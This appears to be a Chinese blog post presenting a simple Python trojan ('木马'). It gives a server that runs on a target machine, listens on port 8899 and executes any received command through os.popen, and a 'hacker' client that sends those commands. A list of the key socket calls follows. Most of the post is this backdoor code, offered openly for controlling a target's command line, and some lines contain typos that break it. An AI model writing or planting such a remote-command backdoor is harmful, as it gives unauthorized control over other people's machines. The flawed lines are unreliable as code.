cndm
其分为两个端;
一是<服务端>muma控制端—server
二是<客户端>haker控制端—client
1、socket
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import socket import os
def main(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = socket.gethostname() port = 8899 s.bind((host,port)) s.listen(100) while True: c,addr = s.accept() print("连接地址",addr) c.send("welcome".encode("utf-8"))
while True: try: recv_data = c.recv(1024).decode("utf-8") print(recv_data) if recv_data == 'cmd': c.send("cmd ready".encode("utf-8")) while True: data = c.recv(1024) recv_data2 = data.decode("utf-8") if recv_data2 == "exit": c.send("cmd close".encode("utf-8")) break else: x = os.popen(recv_data2).read() if not x: c.send("invalid command".encode("utf-8")) else: c.send(x.encode("utf-8")) elif not recv_data: print("正在断开") c.send("正在断开".encode("utf-8"))、 break
else: c.send(recv_data.encode("utf-8"))
except: print("断开连接") break c.close() s.close() pass
if __name__ == '__main__': main()
|
2:client
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import socket
def main(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = '-----------' port = 8899 s.connect((host,port))
while True: data_recv = s.recv(1024) print(data_recv.decode("utf-8")) msg = input("send message->>") if not msg: s.send("empty".encode("utf-8")) elif msg == "stop": print("程序已挺止“) else: s.send(msg.encode("utf-8")) s.close()
if __name__ == '__main__': main()
|
主要功能:
实现简易的主客机socket通信,简易木马对目标机cmd命令的控制
关键知识:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
c.connect((host,port))
c.addr = s.accept()
recv_data = c.recv(1024
s.send(data.encode("utf-8")
os.popen(data)
|
关于python的socket详解见CSDN--《Python socket详解》